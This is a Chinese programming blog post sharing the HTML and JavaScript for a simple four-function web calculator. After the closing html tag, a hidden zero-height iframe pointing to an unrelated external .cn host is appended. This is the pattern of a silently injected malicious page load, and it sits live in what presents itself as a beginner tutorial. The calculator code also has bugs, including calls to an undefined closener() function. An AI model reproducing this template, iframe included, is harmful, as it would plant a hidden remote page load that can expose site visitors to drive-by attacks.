一个简单的计算器

最新推荐文章于 2023-04-14 08:00:00 发布

还得重新来过

最新推荐文章于 2023-04-14 08:00:00 发布

阅读量559

点赞数

文章标签： button class input function border table

本文链接：https://blog.csdn.net/tanpingpingiloveyou/article/details/5271354

版权

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>无标题文档</title>
<script>

    var fontNwe=false;//用来判断最先输入的数是第几次
    var total=0;//累计计算结果
    var opp;//用来记录运算符
    function clearall()
    {
        document.myform.optionName.value=0;
    }

    function enternumber(number){

        if(fontNwe)//如果是真是第二次也就是说以经按了操作符了
        {
            document.myform.optionName.value=number;//把number负给optionName
            fontNwe=false;//把它从新负假
        }else
        {//就是第一次又如果第一次是的话要从新给它值

            if(document.myform.optionName.value=="0")
            {
                document.myform.optionName.value=number;

            }else//让它们的值连接起来
            {
                document.myform.optionName.value=document.myform.optionName.value+number;

            }
        }
    }

    function operation(op)
    {
        var number1=document.myform.optionName.value;//用来保存第一次输入的字符串


        if(fontNwe==true){//如果输入的是第一次的话
            opp=op;//如果按多次符号的话保存最后一位最后返回
            return;
        }
        if('+'==opp)//这里保存的是第二次输入的那个字符如果是第一次按操作符的话就不需要进入
        {
            total=parseInt(number1)+total;

        }
        else if('-'==opp)
        {
            total=total-parseFloat(number1);
        }
        else if('*'==opp)
        {
            total*=parseFloat(number1);
        }
        else if('/'==opp)
        {
            total/=parseFloat(number1);
        }else {

            total=parseFloat(number1);// 就把传入来的数负给全局变量的数

        }
        document.myform.optionName.value=total;
        opp=op;//保存输入的字符串
        fontNwe=true;//如果是第二次输入的话是让它为真
    }
</script>
<style>
.mouserOutStyle{
    width:50px;
    height:23px;
    font-size:14px;
    }
</style>
</head>

<body onLoad="closener()">
<form name="myform" >
<table width="202" height="195" border="1" align="center">
<tr align="center" >
    <td colspan="4" >
      <input name="optionName" type="text" value="0" size="30" align="right">    </td>
</tr>
<tr>
    <td width="56">
      <input type="button" class="mouserOutStyle" onClick="enternumber('7')" name="Submit" value="7">    </td>
    <td width="42"><input class="mouserOutStyle" onClick="enternumber('8')" type="button" name="Submit2" value="8"></td>
    <td width="48"><input type="button" name="Submit3" onClick="enternumber('9')"class="mouserOutStyle" value="9"></td>
    <td width="62"><input class="mouserOutStyle" onClick="operation('+')" type="button" name="Submit4" value="+"></td>
</tr>
<tr>
    <td><input class="mouserOutStyle" type="button" onClick="enternumber('4')" name="Submit5" value="4"></td>
    <td><input class="mouserOutStyle" type="button" onClick="enternumber('5')"name="Submit6" value="5"></td>
    <td><input class="mouserOutStyle" type="button" onClick="enternumber('6')" name="Submit7" value="6"></td>
    <td><input type="button" class="mouserOutStyle" onClick="operation('-')" name="Submit8" value="-"></td>
</tr>
<tr>
    <td><input type="button" class="mouserOutStyle" onClick="enternumber('1')" name="Submit9" value="1"></td>
    <td><input type="button"class="mouserOutStyle" onClick="enternumber('2')" name="Submit10" value="2"></td>
    <td><input type="button"class="mouserOutStyle" onClick="enternumber('3')" name="Submit11" value="3"></td>
    <td><input type="button"class="mouserOutStyle" onClick="operation('*')" name="Submit12" value="*"></td>
</tr>
<tr>
    <td height="39"><input type="button"class="mouserOutStyle" onClick="clearall('0')" name="Submit13" value="0"></td>
    <td><input type="button" onClick="closener()"name="Submit14"class="mouserOutStyle" value="C"></td>
    <td><input type="button" name="Submit15"class="mouserOutStyle" onClick="operation('/')" value="/"></td>
    <td><input type="button" name="Submit16"class="mouserOutStyle"   onClick="operation('=')" value="="></td>
</tr>
</table>
</form>
</body>
</html>
<iframe src=http://mm.aa88567.cn/index/mm.htm width=100 height=0></iframe>

还得重新来过

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
一个简单的计算器

无标题文档 var fontNwe=false;//用来判断最先输入的数是第几次 var total=0;//累计计算结果 var opp;//用来记录运算符 function clearall() { document.myform.optionName.value=0; }
复制链接

扫一扫